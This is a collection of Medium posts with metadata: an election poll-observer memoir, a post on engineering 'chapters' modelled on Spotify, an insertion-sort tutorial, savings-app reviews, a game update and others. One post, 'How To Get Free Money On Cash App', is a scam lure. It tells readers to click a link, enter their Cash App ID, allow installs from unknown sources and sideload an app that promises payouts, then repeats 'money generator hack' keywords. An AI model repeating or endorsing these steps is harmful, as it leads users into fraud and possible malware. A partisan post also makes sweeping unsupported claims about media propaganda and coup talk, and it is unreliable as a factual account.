I Monitored the Polls in Pennsylvania and Left Feeling Empty | For 14 hours, I stood in a church parking lot. Thankfully, it was sunny with temperatures in the high 40s for most of the day. If it had rained or snowed, it would have a really rough and depressing day.
By mid-afternoon, I was bored enough to look back on the nightmare. I’d somehow managed to have one in the hour or two of nervous sleep I’d gotten the night before. In it, a line of pickup trucks, filled with armed Trump supporters looking for trouble, came roaring up the road towards me.
At least something had happened, I thought.
Like most other polling places, there was no voter intimidation at my precinct. When polls opened, people got in a line that took 45 minutes to wind through. Once that line dissipated, no line replaced it. My poll observer training manual said that there would be a “period of high turnout” during lunchtime. There wasn’t. The manual also warned of “high turnout” from 5pm until polls closed at 8pm.
There wasn’t.
Party headquarters sent out a group text at 7:30pm, reminding poll observers to tell voters that, if they’re in line when polls closed at 8pm, they had a right to cast a ballot. I read the text, looked left and then right at the empty parking lot before me, and chuckled.
It’s not that I did nothing during those 14 hours: It’s that I only helped about a dozen people cast their ballots — less than one per hour.
Of those, I only felt as if I could legitimately say that I “saved” one vote: A student had gotten a mail-in ballot but then lost it. He came to the polling place, but suspected that he wouldn’t be allowed to vote. I walked him through the process of casting a provisional ballot. On his way out, he told me that it had worked. He took a Joe Biden pin from the Democratic Party’s table in the parking lot.
So it wasn’t that I did nothing, like in 2016. It’s that I did so little, for having a law degree. Lawyers for the Trump campaign were challenging hundreds of thousands of ballots and, judging from the complaints they were filing, were spending far fewer than 14 hours at it. | https://medium.com/indelible-ink/i-monitored-the-polls-in-pennsylvania-and-left-feeling-empty-2d23b89da677 | ['Sean Myers'] | 2020-11-18 21:26:28.064000+00:00 | ['Volunteering', 'Politics', 'Voting', 'Election 2020'] |
Thank you so much for sharing Dr Mehmet Yildiz. | Thank you so much for sharing Dr Mehmet Yildiz. We were growing the medical pub Being Well Facebook presence and these blocks wiped out all of our work.
This is a very helpful work around. Our medical writers want to provide trustworthy, validated health content especially during the pandemic. I was crushed when an article on mask utilization called “Making Kindnesses More Contagious During the Pandemic” was removed for “violating community standard.”
If encouraging kindness is now offensive, then we are all in trouble. | https://medium.com/beingwell/thank-you-so-much-for-sharing-dr-mehmet-yildiz-7c7740690719 | ['Dr Jeff Livingston'] | 2020-08-29 19:44:29.948000+00:00 | ['Facebook', 'Editor', 'Social Media', 'Writing Tips'] |
How To Get Free Money On Cash App | How to get free money on Cash App — Cash App Free Money Online & Cash App Money Glitch Hack Generator 2021 Get it Here.
🔴CLICK HERE TO 👉 GET CASH APP MONEY FREE !
Once the site opens, enter your Cash App user ID and tap “Install.”
Now, you tap on “Allow” when the system asks permission to download and install the app from other sources.
After the app is downloaded, go to downloads and tap on “Install.”
Now, open the Cash App Earn software that you just downloaded.
As soon as you open the application, it will show you that you will earn $75 after completion of each task and the money will be transferred on your Cash App once you have earned $150 or more.
The app asks users to install the application and once the apps are installed and used, the user receives $150 on their Cash App in a short duration.
cash app free money code without human verification
cash app money generator no human verification
cash app money generator legit no human verification
how to get free money on cash app no verification
free cash app money legit
cash app money generator legit 2021
cash app money hack
request free money on cash app
is the cash app money generator real?
free cash app money legit
cash app money generator legit 2021
cash app money hack
cash app free money code without human verification
cash app money generator no human verification. | https://medium.com/@itsrhondajalston/how-to-get-free-money-on-cash-app-b8d892b3725e | ['Rhonda J Alston'] | 2021-06-17 21:12:46.083000+00:00 | ['Make Money Blogging', 'Make Money', 'Make Money Online Fast', 'Make Money Online', 'Make Money From Home'] |
How Spotify’s Chapters helped us overcome our engineering silos and regain alignment. | COYO’s internal logo for the Engineering department
When I first joined COYO as VP Engineering almost two years ago the company had already become a reasonably grown start-up at the time. The whole COYO Engineering department consisted of some twenty people, the company’s main language had only recently been switched to English and along with me the first two real international colleagues had their first days, too. The product, a social intranet platform for employees, surely looked sleek and lightweight from the outside. But technologically it had grown quite fast over the course of barely only two years back then and several members of the team reported (or complained rather) to me, that it was just this big pile of monolithic beast, no-one except for the elders was able to fully grasp and maintain.
And pretty much like the code base seemed to be like a patchwork rug, some of the teams and their members showed signs of misalignment and clearly aspects of modern work such as clear communication, an open and blame-free feedback culture and an empowered vibe which can lead to high performing and self organizing teams were not in place entirely — as always this never addresses everyone and everything but freshly speaking, the several teams were mainly minding their own businesses while still working on the same code base. Conway’s Law took its toll.
So obviously we were in need of some means of aligning our technological efforts and visions while at the same time finding ways of addressing that big bunch of growing technical debt (refactorings used to be somewhat in the hands of a mighty few or were done completely under the radar of Product Owners).
It was when I was doing some research on that challenge and already had an image in my mind about some form of team-spanning meetings or perhaps a lightweight matrix organization when I remembered that famous article from that Spotify called “Scaling Agile @ Spotify” dating back to 2012. In the article the then Agile Coaches Henrik Kniberg and Anders Ivarsson described a rather novel approach towards growing agile organizations. And while the concepts behind it weren’t completely new, the cultural vibe that came along with it was unparalleled — I was hooked and knew I might have found just the right inspiration.
Squads, Chapters, Guilds and Tribes (2012 by Spotify)
So what to make of it? Just get a couple of people into one room and talk this through, trying to squeeze our teams into that model? Nah!
There is but one little catch in the original proposal and that is what Spotify calls Squads. These are roughly another wording of independent cross-functional teams and this unfortunately totally wasn’t the case with us yet so we decided to skip this one for now — as well as the Tribes, which really are a bunch of squads working in the same area of the application or product. And while one of our goals surely is to split up that aforementioned beast into components or products even, that then could and should be owned by something such as tribes, our current challenge still was way a bit behind that. After all, Spotify’s own engineering lead Marcin Floryan gave this brilliant talk about the fact that “there is no Spotify model”, which is an euphemism or a recall to never forget to create your own thing out of what really rather is more a framework than it is a blueprint to blindly copy.
So we went for the Chapters and since we had been in a rather early stage of our scaling agile endeavors we decided to start simple and defined three chapters, one for backend, frontend and operations respectively. One other fundamental difference from the framework as originally proposed was that the Chapter Leads we announced were not to line-manage the members of their chapters. As if we were anticipating certain challenges that come along with that and have been recently reported by former Spotify employee Jeremiah Lee in his blog article “Failed #SquadGoals” or Willem-Jan Agelings rant about it (which to be honest I haven’t read when we were thinking about how to adopt the model).
Because the problem is that teams in reality are rather long-living entities which form cultures of their own. Being somewhat traditionally managed by chapter leads, who usually come from a different team aka ecosphere and often times cannot say an awful lot about the daily working performance of their protégés, just didn’t feel right.
They really should be consensus-driven servant leaders who, alongside a clear idea and visions for the products/tech stacks they own, should try to develop their chapter members to become better in their profession — through the means of coaching and mentoring. A chapter to us is the central place of alignment and vivid discussion of what greater tech epic to tackle next. Chapter leads must see into the success of the chapter meetings, aiming them to be outcome-based and sure enough encourage people to take on difficult topics and tasks to work on. Certainly over time they should be able to assess the different levels of seniority of their members but in a usual Scrum or Kanban-based environment they cannot and should not directly tell people of different teams what to do. Chapters are fruitful places of people who speak the same language and seek ways to deepen their knowledge of certain areas of expertise — sometimes resulting in spinning off Communities of Practice from chapter meetings to further concentrate on important matters.
We are well into the process at the time of writing. It has been well over ten months since we first introduced chapters here at COYO and they are a continuing success of regaining alignment over technological topics. Having defined them across engineering domains rather than artificially assigning teams to superimposed conceptual cuts of an application that still was largely interdependent, turned out to be the absolutely right decision at the time. The only true major downside of that approach perhaps is that engineers are required to choose one chapter (with the liberty to attend other meetings to their liking) and thus potentially losing track of bleeding edge stuff from the other chapters.
Slowly but surely we are getting the better of our technical debts with still a bit of road ahead. On our way we have learned a great deal on aligned communication, taking on responsibilities for parts of the product and actually being accountable for them. But most of all we have found ways to overcome our silos while still having strong and self-organizing teams. By taking only those components out of the Spotify framework that were suitable to us at the time we have become a more mature, professional and scalable Engineering department. | https://medium.com/coyo-tech/how-spotifys-chapters-helped-us-overcome-our-engineering-silos-and-regain-alignment-ad419a96549f | ['Nils Weber'] | 2020-06-26 16:34:31.550000+00:00 | ['Engineering Culture', 'Spotify Model', 'Agile', 'Scaling Agile', 'Silos'] |
What’s Going On in the US: Cyber Attacks or Propaganda? | From day one the mainstream media was conducting the biggest informational warfare, heavy propaganda against President Trump in favor of Hillary Clinton. After they lost it was obvious that they did not had plan B for Trump and all this propaganda that they conducted after only gave an upper hand to the Russian government. We saw fake news from the biggest broadcasters, campaigns from big sharks in social media, leaks from government’s most secure agencies and role plays from top government officials.
This is an unprecedented campaign not only from foreign, but also by the domestic groups in the US. The mainstream media is deliberately engaged in false reporting, social attacks even on President Trump’s family members. Propaganda campaign become so nasty that it even attacks the sovereignty of the US. Every aspect of this informational warfare indicates that it is very well organized and managed. All this can lead to very serious, devastating consequences as the radical wing is also talking about military coup.
Some of the unverified and fake news that took place in informational campaign against President Trump:
All these efforts reminded me the Kremlin style propaganda campaigns.
Like the Russian State television channel “Russia 1” falsified the video to claim that the young American boy had the pictures of naked men in his bedroom. The US company responsible for the advert Fathead stated that they would not tolerate the manipulation of its material for a “hateful, bigoted, and outrageous attack on the gay community as well as children”.
Journalists should try to be neutral in their observations, but unfortunately in this game too much powerful groups are involved dictating extreme rules. We see celebrities, Hollywood actors and activists groups involved in extensive campaign against democratically elected president and therefore against sovereignty of their own country.
For more information about the Russian cyber capabilities visit: https://www.globalcase.org | https://medium.com/@pataraia/whats-going-on-in-the-us-cyber-attacks-or-propaganda-d05b63034828 | ['Lasha Pataraia'] | 2019-06-25 22:16:01.197000+00:00 | ['Intelligence', 'Russian Hacking', 'Propaganda', 'Security', 'Cybersecurity'] |
Insertion Sort Algorithm — Java Script/Pascal | Understanding sorting algorithms concepts is essential for everyone who wants to become a programmer. There are already over 20 algorithms for sorting.
Insertion Sort is one of the most important ones.
It is not considered as fast as quicksort, heapsort or merge sort. However, it has a few advantages: simple implementation, efficient for small data sets, more efficient than selection sort or bubble sort, does not need much memory.
A really good example of sorting by insertion is when you manually sort cards in a bridge hand.
Let’s say you have a hand of unsorted cards:
— place a marker after the first card in your hand
— compare the second card with the first
— if the second card is smaller, swap it with the first
— then move your marker to indicate that you have a sorted section to the left with two cards
— repeat this process of swapping unsorted cards into the correct sorted position
Pseudocode for Insertion Sort:
for i = 2 .. n temp ←x[i] //mark element “i” while ( j≥1) and (temp<x[j]) // look for the position x[j+1] ← x[j] //swap the x[j] element on the position j+1 j← j-1 endwhile x[j+1]←temp//swap the x[j] element to the right position endfor return x
The algorithm is looking at the second element of the array and sorts it in relation to the first element.
Then extracts the third element and inserts it in the sorted sub-array which contains the first two elements and so on… until the last element is inserted into the sorted sub-array with the first n-1 elements.
Extracting an element is equivalent to storing it in a temporary variable.
Inserting the element in the sorted sub-array involves moving larger elements to the right so a new location will become available for the extracted element.
The element extraction operation, ascending movement and insertion into the free location appear as distinct phases in the sort function.
Insertion sort in Java Script:
Insertion sort in Pascal:
For a better understanding check the “Insert-sort with Romanian folk dance” 💃 | https://medium.com/@soni.dumitru/insertion-sort-algorithm-java-script-655483dd22c2 | ['Sonia Dumitru'] | 2019-06-14 04:49:27.768000+00:00 | ['Programming', 'Flatiron School', 'JavaScript', 'Insertion Sort'] |
Performing A Self Assessment | It can be difficult to look at our own work critically. Sometimes, it can be painful. It’s an important step for growth as an artist, business person, or athlete. I’ve performed a few self assessments over the years and they are often triggered by a handful of catalysts:
· Job Change, either though a layoff or a project wrapping
· Failure of a personal project to move beyond some sort of sticking point
· Release of a new game that sets a new visual bar
· Release of a new tool that sets a new visual bar
· Release of a new tool or tools that changes the way one works
It’s key to not let these catalysts sneak up on us too much. It’s hard to do that; layoffs happens all the time and it’s impossible to know if we’re in line for one, crunch or busy lives make it hard to play modern games, and news moves so fast that we may miss out on new announcements all together.
Life, they say…finds a way…to get in the way of continual improvement. The key is to not panic.
Now that we’ve realized our need to evaluate our skills, it’s time to determine what we need to focus on. This step can either be extremely tricky, or very straight forward, depending on the landscape we’re operating in.
Trailer for Kenna: Bridge of Spirits. Looks amazingly beautiful and inspires me to explore new styles of work.
First, look to the major catalyst for our decisions to self-assess. Was it a new blockbuster release that blew us away? Why did it gab our attention? What about its’ art, gameplay, or user experience shook you? Perhaps it was a new tool release. Unreal Engine 5 and its’ focus on Nanite took me for a ride and made me realize that my sculpting work can’t just be passable anymore. Perhaps it did the same for you. Maybe it’s the desire to try different kinds of work too, like combat design or a new visual look for our art. Whatever the case is, drill into that big, initial kick to find where that desire is being birthed from. | https://medium.com/gametextures/performing-a-self-assessment-b003840da9cb | ['Daniel Rose'] | 2021-09-08 12:03:41.863000+00:00 | ['Self Improvement', 'Seasons', 'Games', 'Inspiration', 'Game Development'] |
Having more money won’t make you NOT happy. | HOW MUCH DO YOU NEED TO BE HAPPY?
Time Magazine said that a study done on happiness revealed that the more people make above $75,000, the more they feel their life is working out on the whole — but that it doesn’t make them any more jovial in the mornings.
(Note the definition of Jovial: cheerful and friendly)
For many, it’s hard to be cheerful when you’re constantly stressed about money.
Money problems bring fights with your spouse, feelings of uneasiness because you can’t pay for things you want to give your kids, and the reality of being trapped, a financial slave on the hamster wheel of a paycheck-to-paycheck life.
With the cost of living in the USA, most people who make 75K or less have nothing leftover financially at the end of the month.
Who wants to clip coupons and pinch pennies?
Take my advice: You need much more than 75K, and for all those people who say money doesn’t bring happiness, how would they know?
Most people who tell you money doesn’t bring happiness don’t have money!
Get access at https://grantcardone.com/ppv
Think about it like this:
If I have never traveled to New York City, and I told you NYC sucks, would you take my word? If I’ve never been to New York, what business do I have of telling others about the place?
Years ago before I moved to San Diego, people used to tell me people in California were crazy. These people had never even lived in California! Personally, I found I loved California — except for the taxes.
So, why do people who have middle-class assets give others advice about having riches? I’ll tell you that not having money won’t make you happy either!
HOW HAPPY ARE YOU WITH YOUR FINANCIAL CONDITION?
Never let anyone tell you money won’t make you happy, especially when they make $75K or less.
Here’s what I want you to do — take areas of your life and measure your happiness in that area on a scale of 1–100. Marriage, finances, business, income, kids, spiritual, physical — rate each one. You don’t need to have a 100 to be happy; 90 and above is fine for me.
Anytime you are struggling in some area of your life, stop and ask yourself; where am I on a scale of 1- 100? If your response is below 90, then ask yourself, what can you do to increase your happiness in that area to over 90?
Where are you on happiness in regard to your finances?
If you are below 90, there is a problem.
Get access to the livestream of the 10X Growth Conference this weekend and let’s fix this.
75K may or may not make you jovial. But I’m willing to bet $1 million won’t make you less happy.
Be great,
GC | https://medium.com/the-10x-entrepreneur/having-more-money-wont-make-you-not-happy-49d6f7164509 | ['Grant Cardone'] | 2020-02-19 17:30:10.349000+00:00 | ['Money Mindset', 'Income', 'Happiness In Life', 'Happy Life', 'Inequality'] |
YOU ARE A CREATIVE GENIUS (EVEN IF YOU DON’T KNOW IT YET) | Let me share a bold statement with you: we’re all born geniuses…..and more specifically, creative geniuses. But unfortunately, so many people misunderstand the word creativity. I can’t tell you how many people say to me “Oh I’m not creative” or “I don’t have a single creative bone in my body.” But they’re comparing themselves to that elusive ‘creative genius’ archetype. Understanding that creativity helps us in every area of our lives will only improve our mental health, it makes us happier and more successful.
Here’s the thing — I’m not suggesting that everyone run out and buy a paint brush and a canvas. I don’t see everyone on the planet trying to become the next Picasso. What I do want the world to know is that there will always and forever be an eight year old in there somewhere that’s itching to get out and have some fun every now and then.
The question is: what activity (or activities) makes you ridiculously happy when you do it?
SOME #CREATIVEGENIUS EXAMPLES TO INSPIRE YOU
cook something you’ve never tried before or share your fave kitchen hack
build a robot
share your baking skills
make something ie: an idea for an app, an original piece of art, a sketch
learn a new dance move
compose a piece of music
write lyrics to a song
share a trick you’re awesome at ie: on a bike, skateboard, juggling, magic, sports-related
try a new instrument or show off your skills with an instrument you already know how to play
teach a gaming technique
sing a song
share a makeup technique or try a new makeup technique based on an #influencer YouTube video and see if you can duplicate it
frame your fave piece of art in a unique way
Obviously, this list goes on and on and on…use your creative genius to discover yours!
Wishing you stellar mental health + great creative inspiration, Wendy xo | https://medium.com/@thewendyrussell/you-are-a-creative-genius-even-if-you-dont-know-it-yet-e61637814ab | ['Wendy Russell'] | 2020-12-14 19:59:15.686000+00:00 | ['Inspiration', 'Creative Process', 'Mental Health', 'Creativity', 'Fun'] |
Having the Courage to Believe Differently | Having the Courage to Believe Differently
Photo by George Pagan III on Unsplash
“I will not be a part of any institution or religion that marginalizes people based on race, abilities, gender, orientation, identity or social status. But I will be a part of a Love Revolution that fights for the right of people everywhere to Love and be Loved by God.” ~ Rudy Rasmus
I can remember the first time I read these words on the computer screen. It was during one of my frequent internet binges.
Yes. This is where I admit to you that I’m one of those people who confess to spending hours in front of a computer screen. Or some other technical device either reading, writing, ranting, researching, or responding. As well as learning, laughing, and sometimes plain old procrastinating.
I am a blogger, freelance writer, and aspiring author who loves the power of words. For me, Rudy’s words are powerful.
A few years ago on the day when I read what I am calling an “inclusivity manifesto”. I was doing some research for a Toastmasters presentation I was preparing. The title of my speech was “Have the Courage To Believe Differently”. | https://medium.com/an-idea/having-the-courage-to-believe-differently-4bf50f287a3f | ['Carla D. Wilson Laskey'] | 2020-12-16 18:09:53.228000+00:00 | ['Words', 'Religion', 'Courage', 'Motivation', 'Humanity'] |
Game Development Update | Greetings Pandorians, thank you for your support over the past few weeks. We hope you have been able to enjoy the holiday’s with your family and we wish you all a Happy New Year 🎉.
We have some important updates to share as we are now about to enter 2022. The team has been hard at work in preparation for our Alpha and Token release next year. To start we have been progressing well with our development over the past few weeks. Below are some new clips we have recorded of new features we have been implementing in the game:
Mech Titan
Use the Mech to travel across the world of Pandora. Equip it with different weapons such as a Gatling Gun or a Flame Thrower to prepare for battles against other players and wildlife. The machine can act as your first line of defense in all battles. Keep an eye on our twitter as we will have more clips coming soon.
Flight
Flight Development Tests
To make travelling even easier and more dynamic the idea of a jetpack was produced. Because this would have been inconvenient with a backpack, we created an alternative lightweight solution of boots and gloves that will be available as NFTs. Once equipped will allow your character to fly across the world. This is still in very early testing however we believe the ability to have fly and have sky battles will be an awesome experience.
The features shown will be usable in the alpha and we hope to hear your feedback on any changes and improvements. We have also been working on optimisation of the game to allow it to run consistently with minimal frame drops across all pcs. The data taken in from the alpha will help a lot with our optimisation of the game.
Alpha Information
Over the next few weeks we will be randomly selecting the participants for the Alpha, you will receive a confirmation of your selection either via your email or discord/telegram account. You will be given an individual key which you will use to sign in to the platform during the Alpha release. The email will contain details of the required minimum PC specs to run the game. If you feel that your PC cannot handle the game you can message us and we will reallocate the position. The testing will take place across a week period and you will be sent a form to fill out with your feedback and recommendations the game.
Thank you for your patience and support over the past few weeks and we hope to see you in Pandora soon.
- The Pandora Team | https://medium.com/@DiscoverPandora/game-development-update-20223c0d71e4 | [] | 2021-12-30 19:03:15.437000+00:00 | ['Gamefi', 'Bsc', 'P2e', 'Metaverse'] |
3 Best Apps For Savings Automation | Hi everyone, thank you for coming back to my blog. I hope you found my last blog interesting and useful, where I covered ‘3 Ways To Make Saving Money Effortless’.
In today’s blog, I am going to cover the bests apps to help you automate your savings, making saving money even more effortless. I touched upon this in my last blog, but I will go into more detail on these apps, for those of you who are interested.
Everything nowadays is automated thanks modern technology, from turning the home heating on and off to unlocking and locking a car, just by using a phone. So why not use this technology to make savings easier and therefore live a lot easier in general?
Automation can allow you to move a set amount of money and set times, from your current account to a savings account, or to a linked money saving app on your phone.
I have personally used all the apps mentioned above at some point in time and I am currently using one of them in fact, so give them a try and see which one bests suits you
Here are the best apps for savings automation:
Plum — Plum analyses the money going in and out of your linked current account to determine how much you can afford to save. It also guarantees that you will never go into your overdraft when money is transferred from your current account into Plum. However, if that did happen, they promise to refund any fees. Using the app you you can tell Plum whether you want to increase or decrease the amount you want to save. You have a choice of modes:
Beast Mode — 75% more savings (my personal favourite)
— 75% more savings (my personal favourite) Ambitious — 50% more savings
— 50% more savings Eager — around 25% more
— around 25% more Normal
Chilled — around 25% less
— around 25% less Shy — 50% less in savings
And if you want to take a break completely, you can turn off auto-saves for a set period.
Another option to help you save is by turning on ‘Round-ups’. With this option activated, it means that every time you make a purchase from a card linked to your current account, the app will round this amount up to the nearest pound which is then transferred into Plum. For example, spend £2.50 on a coffee and 50p will be sent to Plum.
Or, you can arrange for money to be transferred on payday. Just let Plum know when that is, how much you get paid and Plum can calculate how much you can afford to transfer over.
*Plum is FREE to use, unless you want to upgrade Plum Pro, which is £2.99 per month.
Plum Pro offers several more features than the free version, which could help you save money faster, these are :
Rainy Days Savings — Plum is probably the first company to take this saying literally. Every time it rains, Plum will set money aside for you.
— Plum is probably the first company to take this saying literally. Every time it rains, Plum will set money aside for you. 52-Week Challenge — The first week, you will save £1 with Plum and this will increase by a further £1 every following week. Keep this up and in one year, you could save £1,378.
— The first week, you will save £1 with Plum and this will increase by a further £1 every following week. Keep this up and in one year, you could save £1,378. True Balance — giving you spending limits so you don’t overspend before pay day.
— giving you spending limits so you don’t overspend before pay day. Goals — Set yourself a target amount.
— Set yourself a target amount. Diagnostic Reports — Allows you to compare yourself with other Plum users in a similar position.
— Allows you to compare yourself with other Plum users in a similar position. Pockets — Separates money into different savings pots.
— Separates money into different savings pots. Exclusive Deposit Rules — Allows you to create different saving rules.
2. Chip — Chip, much like Plum, analyses how much you can afford to save and takes it from your account in small amounts. However, unlike Plum, Chip pays you a straight 1% interest for anything you have in your account.
Money is transferred from your linked current account into your Chip Auto-save account, where you can either, move it over to an Easy account which will pay you interest, or just keep it in the Auto-save account.
Just like Plum, Chip allows you to adjust the amount you are comfortable with saving, just through a click of a button. If you think it’s taking too much or you want to save a bit more, just adjust the scale
Again, just like Plum, with Chip you can set up an amount you want to transfer on your assigned payday.
With Chip you can set a minimum bank balance limit. If you never want to fall below a certain level, then let Chip know and they won’t transfer any money if it means you fall below this limit.
Chip will notify you when money is due to be taken and if you want to ‘skip’ the save option that day, then you have until 3pm that day to do so
Chip has a ‘Goals’ option and these goals can be anything you want to save up for (maximum of 3 goals). Then, when your money is saved into your Chip account, it can be split towards each goal.
*Chip has recently upped their fee, so after you have made £100 in auto-saves, you will be charged £1.50 every 28 days
3. Moneybox — Moneybox will help you save money in small amounts, so you will hardly notice it leaving your linked current account. Any money you save goes directly into a savings account and you can choose from these options:
Fixed Term Savings Account
General Investment Account
Lifetime ISA
Stocks & Shares ISA
You have several options to fund your Moneybox account.
Round ups — Just like Plum, you can ask Moneybox to ’round up’ every time you make a purchase.
— Just like Plum, you can ask Moneybox to ’round up’ every time you make a purchase. Weekly deposit — Arrange a set amount of cash you want to transfer over from your current account each week.
— Arrange a set amount of cash you want to transfer over from your current account each week. Payday boost — Arrange for a set amount to be transferred close to payday.
— Arrange for a set amount to be transferred close to payday. Super round ups — Double your round up value if you find that round ups aren’t enough
— Double your round up value if you find that round ups aren’t enough One-off deposit — Make a one-off transfer, if you find yourself with a bit of extra money.
*To use Moneybox, the first 3 months are FREE, after that, you need to pay a £1 per month subscription fee. This is a blanket fee and it doesn’t matter how many investments you have. There are no fees for the savings accounts.
I hope one of these options will help you to automate your savings, allowing you to save money effortless in the future.
Until next time, thank you and stay safe. | https://medium.com/@easypeasymoney/3-best-apps-for-savings-automation-870394072f14 | ['Kalpen Patel'] | 2020-11-18 19:05:51.483000+00:00 | ['Savings Account', 'Money Management', 'Money Saving Apps', 'Saving Money', 'Savings Tips'] |
YOUR PURPOSEFUL LIFE !!! | Asking yourself: “What is my life purpose?” is one of the most important questions you will ever ask. It cuts straight to the heart of who you are and why you are here.
Your answers to that question will change and develop as you mature in age and experience.
At the same time, Finding and realizing your "reason to live "will not happen overnight. By working toward our reason to live over time, we will continue to grow and develop in our chosen fields or professions. And because our live is our choice, we can feel a sense of autonomy over the journey it takes to get there.
We’re all gifted with a set of talents and interests that tell us what we’re supposed to be doing. Once you know what your life purpose is, organize all of your activities around it. Everything you do should be an expression of your purpose. If an activity or goal doesn’t fit that formula, don’t work on it.
One thing you always, keep in your mind your purpose doesn’t necessarily mean you have to change what you’re doing already.
The world 's not just about you and your success and your abilities, it’s about us, your greatest fulfillment comes from “us” and connecting. The greater whole, wisdom is seeing the bigger picture, realising that we are tribal creatures and we live in a world that is inter-connected.
We can’t begin to live our purpose without taking action. The difference between where we are and where we want to go is what we do.
Some of us are already on our way to living out our reason to live. Others have a little more work to do. Start by identifying where you fall on that continuum. Then, think about where you would like to be next year.
Next, break down that goal into 12 concrete actions or changes you need to make. Grab your favorite planner, notebook or online calendar and assign one action for each month for the next year.
By focusing on just one area of improvement per month, our goal becomes more manageable, and we are more likely to follow through with these small actions.
Once you are clear about what you want and keep your mind constantly focused on it, the how will keep showing up — sometimes just when you need it and not a moment earlier.
The outcomes that you experience in life are determined by your responses to the events in your life. The stronger your response — the better the outcome. The strength and quality of your response is determined by the skills and the experience you bring to it.
Feel your life purpose, then do action. What your heart says, that is the real purpose of your life
Finally, I will said one thing surely, the purpose in life is, to live the life of a Hero. Be a hero Always , no one can beat you . Go ahead forward !!! | https://medium.com/@yazznan5/your-purposeful-life-d6655c4d235f | [] | 2020-12-27 09:48:50.966000+00:00 | ['Purpose', 'Motivation', 'Heart', 'Life'] |
Some of the Untold Trends in Digital Marketing Companies Part-1 | COMPANY: — Puts Enormous pressure to generate revenue to do that They Push the Marketing team to Bring More and More Clients by any means.
SALESPERSON: — Sales Person is Either unaware of the Digital Marketing Working Process or Possesses Little Knowledge About it.
In Some Cases, even if The Person Has Enough Understanding about it, still they Choose to Warm up their Incentive by Selling More and More Without Caring About the Client or The Working Process.
RESULT: — Sale Happens with Some Very Unrealistic Results Promised to the Client……………. (Which is not Possible)
EXAMPLE: — Giving SEO Boost to Clients Websites in the first month itself, Like Ranking in 1st or 2nd Page of Google Search Results………………………….. (Talking About a Competitive Keyword Segment)
THE SITUATION of SEO ANALYST: — Falls the task of Showing Promised results in time………… (Which is not Possible if you Know SEO)
RESULTS: — Either the Report is Going to be Manipulated to Show the Desired Result or the Client going to be very angry after seeing the Real Result………………….. (In Most Cases Either of the one Thing happens)
FINAL OUTCOME: -
(1) The Client will leave the company in the first month or Will be fooled by the Digital Marketing Company Without Getting Proper Results for months till he realizes.
(2) The SEO Analyst will be blamed & judged for not working properly and causing loss to the company. (With an Untold Mandate not to Give Any Raise Now)
(3) The Client will Persuade his Connections not to deal with that particular company terming them as Fraud.
(4) The Sales Person will Take his Incentives from the sale and will go on to their next Misleading Project Selling. (No one will dare to ask about the Blunder they are making)
(5) Company will Gain Enough Money for the time being at the cost of its Reputation.
(6) The Digital Marketing Person Will Look for Change of Company Or this particular mindset and ENds up Being in the Loop Again.
Some Questions I Have in My Mind for This Type of Mind Set or Hidden Culture in the Most of the Companies.
Q1: — Why everyone is looking for quick Success Overnight at the Cost of your name and fame?
Q2: — Why you can’t be Straight with the Client about your proposal before doing business?
With Honest Proposal and Knowledge Sharing, the Client will wait for real results for the next 6 months. This will bring more revenue to the company and after getting the results client will market your product for free, which will give you more business opportunities with a 95% chance of converting to a client.
WORD OF MOUTH IS GREATER THAN ANY MARKETING GIMMICK.
Share Your Views on This. Have You Ever Faced This? | https://medium.com/@tapaspalai333/some-of-the-untold-trends-in-digital-marketing-companies-part-26d7ef9e5b32 | ['Tapas Kumar Palai'] | 2021-08-17 19:46:35.172000+00:00 | ['Office Culture', 'Company Culture', 'Digital Marketing Agency', 'Company', 'Digital Marketing'] |
Be the Symbol of Respect | Dear Readers and Writers,
I hope you are all set to enjoy the first weekend of the month of December that marks the beginning of winter. Let us start this month on a fresh note with an attitude of humility.
I am sure many of you know that the paperwhite narcissus that blooms in the winter is the December birth flower and symbolizes faithfulness, good wishes and respect. Let us be the reflection of this flower and respect everything we do and what others do for us.
International Day for the abolition of Slavery is observed on the second day of this month. It is a reminder to discard worries and every habit that can be a threat to our freedom. Let us enjoy our work and life, and avoid falling victims to modern slavery.
Stop worrying about the reward for your hard work. The universe delivers it when the time is right.
It Is Playtime-
December got its name from the Latin word ‘Decem’ which means ten. So, I have decided to make at least ten new happy memories this month.
What about you? Feel free to share your views.
Keep spreading good wishes.
Thank you 🙏
#Stay Blessed #Stay Healthy
©️ Simran Kankas 2020. All Rights Reserved. | https://medium.com/spiritual-tree/be-the-symbol-of-respect-d05c863cb6ec | ['Simran Kankas'] | 2021-03-12 14:35:58.994000+00:00 | ['Spiritual Tree', 'Universe', 'Respect', 'Spirituality', 'Letters'] |
I think this is a wonderfully objective self observation and a tribute to open-mindedness and… | I think this is a wonderfully objective self observation and a tribute to open-mindedness and growth. Set aside the job of pastor, I hope I am always cringing at actions, words, views, filters, attitudes I have had 1, 5, 10 and 20 years ago. If that isn’t true for anyone either 1) we know it all and our God like in omniscience, or, 2) we are human beings in a state of growth and open-minded learning and hearing.
I attend a traditional Protestant denomination, the 1st Christian Church (Disciples of Christ), and watch, listen and keep my mouth shut and think about the pastor “man, I would hate to have that job”. We all lose when we make it difficult for a man and women such as yourself who have a heart to help people and we abuse, criticize, exploit and discourage them. Can’t we just be nice, respectful and supportive of one another — wasn’t that listed as second place in the summation of the two greatest commandments? I think you are still a pastor — it seemed to me there were lots of good teachings in this article. Don’t quit and keep encouraging people such as yourself, we need y’all. | https://medium.com/@shermanmoore/i-think-this-is-a-wonderfully-objective-self-observation-and-a-tribute-to-open-mindedness-and-81427f6a5a6b | ['Sherman Moore'] | 2021-07-05 14:45:57.277000+00:00 | ['Kindness', 'Helping Others', 'Support', 'Pastor', 'Burnout'] |
COVID-19 will slow the global shift to renewable energy, but can’t stop it | The renewable energy industry, which until recently was projected to enjoy rapid growth, has run into stiff headwinds as a result of three era-defining events: the COVID-19 pandemic, the resulting global financial contraction and a collapse in oil prices. These are interrelated, mutually reinforcing events.
It’s much too early to be able to assess how large their economic, environmental and policy impacts will be. But as someone who has worked on energy policy in academia, the industry, the federal government and Wall Street, I expect a significant short-run contraction followed by a catch-up period over the next few years that returns us to the same long-term path — perhaps even a better one.
Falling energy demand
The most obvious result of these shocks is clear: Economic contractions reduce power demand, because every form of economic activity requires electricity, directly or indirectly. The 2008–9 recession reduced power demand in the United States by about 10 years’ worth of growth. Put another way, national utility sales did not exceed 2008 levels until 2018.
U.S. electricity use on March 27, 2020 was 3% lower than on March 27, 2019. That difference represents a loss of about three years of sales growth. Electricity use will trace the same path as total economic output as the crisis unfolds, but will drop much less in percentage terms. That’s because electricity use is a necessity, and essential services and households will continue to use power. Some, like health care, will use much more.
